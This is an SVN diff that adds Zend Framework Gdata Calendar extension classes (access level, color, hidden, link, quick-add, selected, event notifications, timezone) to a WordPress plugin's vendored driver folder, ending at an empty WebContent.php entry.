===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/AccessLevel.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/AccessLevel.php	(revision 44)
@@ -0,0 +1,129 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Calendar.php';
+
+/**
+ * Represents the gCal:accessLevel element used by the Calendar data API
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Calendar_Extension_AccessLevel extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gCal';
+    protected $_rootElement = 'accesslevel';
+    protected $_value = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Calendar_Extension_AccessLevel object.
+     * @param string $value (optional) The text content of the element.
+     */
+    public function __construct($value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Calendar::$namespaces);
+        parent::__construct();
+        $this->_value = $value;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_value != null) {
+            $element->setAttribute('value', $this->_value);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'value':
+            $this->_value = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's value attribute.
+     *
+     * @return string The attribute being modified.
+     */
+    public function getValue()
+    {
+        return $this->_value;
+    }
+
+
+    /**
+     * Set the value for this element's value attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Calendar_Extension_Selected The element being modified.
+     */
+    public function setValue($value)
+    {
+        $this->_value = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     */
+    public function __toString()
+    {
+        return $this->getValue();
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/Color.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/Color.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/Color.php	(revision 44)
@@ -0,0 +1,124 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the gCal:color element used by the Calendar data API
+ * to define the color of a calendar in the UI.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Calendar_Extension_Color extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gCal';
+    protected $_rootElement = 'color';
+    protected $_value = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Calendar_Extension_Color object.
+     * @param string $value (optional) The text content of the element.
+     */
+    public function __construct($value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Calendar::$namespaces);
+        parent::__construct();
+        $this->_value = $value;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_value != null) {
+            $element->setAttribute('value', $this->_value);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'value':
+            $this->_value = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's value attribute.
+     *
+     * @return string The value associated with this attribute.
+     */
+    public function getValue()
+    {
+        return $this->_value;
+    }
+
+    /**
+     * Set the value for this element's value attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Calendar_Extension_Color The element being modified.
+     */
+    public function setValue($value)
+    {
+        $this->_value = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     */
+    public function __toString()
+    {
+        return $this->_value;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/Hidden.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/Hidden.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/Hidden.php	(revision 44)
@@ -0,0 +1,133 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the gCal:hidden element used by the Calendar data API
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Calendar_Extension_Hidden extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gCal';
+    protected $_rootElement = 'hidden';
+    protected $_value = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Calendar_Extension_Hidden object.
+     * @param bool $value (optional) The value of the element.
+     */
+    public function __construct($value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Calendar::$namespaces);
+        parent::__construct();
+        $this->_value = $value;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_value !== null) {
+            $element->setAttribute('value', ($this->_value ? "true" : "false"));
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'value':
+            if ($attribute->nodeValue == "true") {
+                $this->_value = true;
+            }
+            else if ($attribute->nodeValue == "false") {
+                $this->_value = false;
+            }
+            else {
+                require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+                throw new Zend_Gdata_App_InvalidArgumentException("Expected 'true' or 'false' for gCal:selected#value.");
+            }
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's value attribute.
+     *
+     * @return string The requested attribute.
+     */
+    public function getValue()
+    {
+        return $this->_value;
+    }
+
+    /**
+     * Set the value for this element's value attribute.
+     *
+     * @param bool $value The desired value for this attribute.
+     * @return Zend_Gdata_Calendar_Extension_Hidden The element being modified.
+     */
+    public function setValue($value)
+    {
+        $this->_value = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     */
+    public function __toString()
+    {
+        return $this->_value;
+    }
+
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/Link.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/Link.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/Link.php	(revision 44)
@@ -0,0 +1,125 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ * @version    $Id: Entry.php 3941 2007-03-14 21:36:13Z darby $
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/App/Extension/Link.php';
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Calendar/Extension/WebContent.php';
+
+
+/**
+ * Specialized Link class for use with Calendar. Enables use of gCal extension elements.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Calendar_Extension_Link extends Zend_Gdata_App_Extension_Link
+{
+
+    protected $_webContent = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Calendar_Extension_Link object.
+     * @see Zend_Gdata_App_Extension_Link#__construct
+     * @param Zend_Gdata_Calendar_Extension_Webcontent $webContent
+     */
+    public function __construct($href = null, $rel = null, $type = null,
+            $hrefLang = null, $title = null, $length = null, $webContent = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Calendar::$namespaces);
+        parent::__construct($href, $rel, $type, $hrefLang, $title, $length);
+        $this->_webContent = $webContent;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_webContent != null) {
+            $element->appendChild($this->_webContent->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('gCal') . ':' . 'webContent':
+            $webContent = new Zend_Gdata_Calendar_Extension_WebContent();
+            $webContent->transferFromDOM($child);
+            $this->_webContent = $webContent;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * Get the value for this element's WebContent attribute.
+     *
+     * @return Zend_Gdata_Calendar_Extension_Webcontent The WebContent value
+     */
+    public function getWebContent()
+    {
+        return $this->_webContent;
+    }
+
+    /**
+     * Set the value for this element's WebContent attribute.
+     *
+     * @param Zend_Gdata_Calendar_Extension_WebContent $value The desired value for this attribute.
+     * @return Zend_Calendar_Extension_Link The element being modified.  Provides a fluent interface.
+     */
+    public function setWebContent($value)
+    {
+        $this->_webContent = $value;
+        return $this;
+    }
+
+
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/QuickAdd.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/QuickAdd.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/QuickAdd.php	(revision 44)
@@ -0,0 +1,131 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the gCal:quickAdd element used by the Calendar data API
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Calendar_Extension_QuickAdd extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gCal';
+    protected $_rootElement = 'quickadd';
+    protected $_value = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Calendar_Extension_QuickAdd object.
+     * @param string $value (optional) The text content of the element.
+     */
+    public function __construct($value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Calendar::$namespaces);
+        parent::__construct();
+        $this->_value = $value;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_value !== null) {
+            $element->setAttribute('value', ($this->_value ? "true" : "false"));
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'value':
+            if ($attribute->nodeValue == "true") {
+                $this->_value = true;
+            }
+            else if ($attribute->nodeValue == "false") {
+                $this->_value = false;
+            }
+            else {
+                throw new Zend_Gdata_App_InvalidArgumentException("Expected 'true' or 'false' for gCal:selected#value.");
+            }
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's value attribute.
+     *
+     * @return string The value associated with this attribute.
+     */
+    public function getValue()
+    {
+        return $this->_value;
+    }
+
+    /**
+     * Set the value for this element's value attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Calendar_Extension_QuickAdd The element being modified.
+     */
+    public function setValue($value)
+    {
+        $this->_value = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     */
+    public function __toString()
+    {
+        return $this->getValue();
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/Selected.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/Selected.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/Selected.php	(revision 44)
@@ -0,0 +1,132 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the gCal:selected element used by the Calendar data API
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Calendar_Extension_Selected extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gCal';
+    protected $_rootElement = 'selected';
+    protected $_value = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Calendar_Extension_Selected object.
+     * @param bool $value (optional) The value of the element.
+     */
+    public function __construct($value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Calendar::$namespaces);
+        parent::__construct();
+        $this->_value = $value;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_value !== null) {
+            $element->setAttribute('value', ($this->_value ? "true" : "false"));
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'value':
+            if ($attribute->nodeValue == "true") {
+                $this->_value = true;
+            }
+            else if ($attribute->nodeValue == "false") {
+                $this->_value = false;
+            }
+            else {
+                require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+                throw new Zend_Gdata_App_InvalidArgumentException("Expected 'true' or 'false' for gCal:selected#value.");
+            }
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's value attribute.
+     *
+     * @return bool The value associated with this attribute.
+     */
+    public function getValue()
+    {
+        return $this->_value;
+    }
+
+    /**
+     * Set the value for this element's value attribute.
+     *
+     * @param bool $value The desired value for this attribute.
+     * @return Zend_Gdata_Calendar_Extension_Selected The element being modified.
+     */
+    public function setValue($value)
+    {
+        $this->_value = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     */
+    public function __toString()
+    {
+        return $this->_value;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/SendEventNotifications.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/SendEventNotifications.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/SendEventNotifications.php	(revision 44)
@@ -0,0 +1,131 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Data model class to represent an entry's sendEventNotifications
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Calendar_Extension_SendEventNotifications extends Zend_Gdata_Extension
+{
+    protected $_rootNamespace = 'gCal';
+    protected $_rootElement = 'sendEventNotifications';
+    protected $_value = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Extension_SendEventNotifications object.
+     * @param bool $value (optional) SendEventNotifications value as URI.
+     */
+    public function __construct($value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Calendar::$namespaces);
+        parent::__construct();
+        $this->_value = $value;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_value !== null) {
+            $element->setAttribute('value', ($this->_value ? "true" : "false"));
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'value':
+            if ($attribute->nodeValue == "true") {
+                $this->_value = true;
+            }
+            else if ($attribute->nodeValue == "false") {
+                $this->_value = false;
+            }
+            else {
+                throw new Zend_Gdata_App_InvalidArgumentException("Expected 'true' or 'false' for gCal:selected#value.");
+            }
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's Value attribute.
+     *
+     * @return string The requested attribute.
+     */
+    public function getValue()
+    {
+        return $this->_value;
+    }
+
+    /**
+     * Set the value for this element's Value attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Extension_SendEventNotifications The element being modified.
+     */
+    public function setValue($value)
+    {
+        $this->_value = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     */
+    public function __toString()
+    {
+        return $this->getValue();
+    }
+
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/Timezone.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/Timezone.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/Timezone.php	(revision 44)
@@ -0,0 +1,123 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the gCal:timezone element used by the Calendar data API
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Calendar_Extension_Timezone extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gCal';
+    protected $_rootElement = 'timezone';
+    protected $_value = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Calendar_Extension_Timezone object.
+     * @param string $value (optional) The text content of the element.
+     */
+    public function __construct($value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Calendar::$namespaces);
+        parent::__construct();
+        $this->_value = $value;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_value != null) {
+            $element->setAttribute('value', $this->_value);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'value':
+            $this->_value = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's value attribute.
+     *
+     * @return string The value associated with this attribute.
+     */
+    public function getValue()
+    {
+        return $this->_value;
+    }
+
+    /**
+     * Set the value for this element's value attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Calendar_Extension_Timezone The element being modified.
+     */
+    public function setValue($value)
+    {
+        $this->_value = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     */
+    public function __toString()
+    {
+        return $this->getValue();
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/WebContent.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/WebContent.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/Extension/WebContent.php	(revision 44)
